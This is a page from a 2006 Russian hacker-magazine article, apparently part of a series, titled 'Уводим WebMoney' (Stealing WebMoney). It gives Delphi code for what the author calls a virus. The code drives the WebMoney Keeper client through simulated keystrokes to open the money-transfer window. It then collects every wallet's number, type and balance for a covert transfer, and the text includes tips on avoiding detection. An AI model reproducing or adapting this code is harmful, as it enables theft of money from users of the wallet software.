Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #90, ИЮНЬ 2006 г.

Уводим WebMoney

SIR (sir-xaker@mail.ru)

Хакер, номер #090, стр. 090-116-2


Определяем статус Keeper’а

var

buf:array[1..100] of char;

ButtonWnd:array[1..20] of HWND;

i:integer;

ZeroMemory(@buf,sizeof(buf));

ButtonWnd[1]:=GetWindow(KeeperWnd,GW_CHILD);

for i:=2 to 6 do ButtonWnd[i]:=GetWindow(ButtonWnd[i-1],GW_HWNDNEXT);

repeat

GetWindowText(ButtonWnd[6],@buf,SizeOf(buf));

until pos('Обновить данные',buf)<>0;

Автор статьи от 2003-го года предлагает лазить по меню настройки программы WM и изменять параметры безопасности. Это лишнее. Во-первых, установленные настройки на работу вируса влиять абсолютно не будут. Во-вторых, главные настройки безопасности все равно не удастся изменить: разработчики учли этот недостаток и влепили подтверждение установленных изменений вводом трехзначного числа. И, в-третьих, это дополнительная трата времени работы вируса и лишнее палево. А мы для начала жмем на кнопку «Меню» и добираемся до пункта «В кошелек WebMoney…»:

Пытаемся открыть окно перевода денег - "Передать WM"

SendMessage(KeeperWnd,WM_SYSCOMMAND,SC_RESTORE,0);

BringWindowToTop(KeeperWnd);

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_SPACE,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_SPACE,0);

for i:=1 to 8 do begin

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_DOWN,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_DOWN,0);

end;

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RIGHT,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_RIGHT,0);

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_DOWN,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_DOWN,0);

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RIGHT,0);

SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_RIGHT,0);

SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RETURN,0);

ButtonWnd[5] - это указатель на кнопку "Меню". Сначала мы выдвигаем окно Keeper'а на передний фон, затем жмем на кнопку и начинаем путешествовать по меню до нужного нам пункта.

Снова получаю хэндл появившегося окна с помощью функции FindWindow и получаю хэндлы нужных мне полей ввода. Я опять, не усложняя себе жизнь, прогнал цикл for для получения нужных мне дочерних окон. В 3.0.0.0 версии WM многие кнопки поменяли свои места. Здесь я опишу достоверную их позицию.

Находим хэндлы полей ввода, кнопок и других необходимых объектов

var

Transfer:HWND;

TransWnd:array[1..40] of HWND;

repeat

Transfer:=FindWindow(nil,PChar('Передать WM'));

until Transfer<>0;

TransWnd[1]:=GetWindow(Transfer,GW_CHILD);

for i:=2 to 37 do TransWnd[i]:=GetWindow(TransWnd[i-1],GW_HWNDNEXT);

Соответствие номеров конкретным объектам смотри на рисунке.

Далее мне была непонятна логика автора предыдущей статьи, ведь он сразу перешел к заполнению полей ввода суммы и типа своего кошелька. Во-первых, откуда он знает, сколько денег имеет юзер? $1000, $10, а может 0? Во-вторых, деньги, возможно, имеются не только в Z-кошельке, ведь еще есть R, U, E. В-третьих, не факт, что юзер использует только 4 кошелька. В WM, например, можно создать кучу дополнительных однотипных кошельков для одного WMID. Более того, в настройках по умолчанию можно поставить любой номер кошелька, поэтому не факт, что им по умолчанию будет только Z. Ввиду всего вышесказанного я буду создавать массив данных, где будут записаны все имеющиеся кошельки. Код смотри во врезке. Тут мы сначала переходим к самому первому кошельку, потом получаем его номер, тип и сумму на нем и добавляем всю информацию в массив. Затем переходим к следующему кошельку. После выполнения этого куска кода в переменной stop будет записано общее количество кошельков. (Кстати, неплохо бы еще раскидать по всему коду команды sleep(10), чтобы клиент успел обработать сообщения. - Прим. редактора). В этом коде есть одна тонкость, о которой следует рассказать отдельно. В русской версии Винды в качестве разделителя целой и дробной части числа используется запятая, а в кипере – точка. Из-за этого процедуры типа StrToFloat будут работать неправильно. Так что мы будем использовать TextToFloat, как показано, а где-то выше по коду нужно завести переменную format типа TFormatSettings и добавить строчки:

Назад на стр. 090-116-1  Содержание  Вперед на стр. 090-116-3
Hosted by uCoz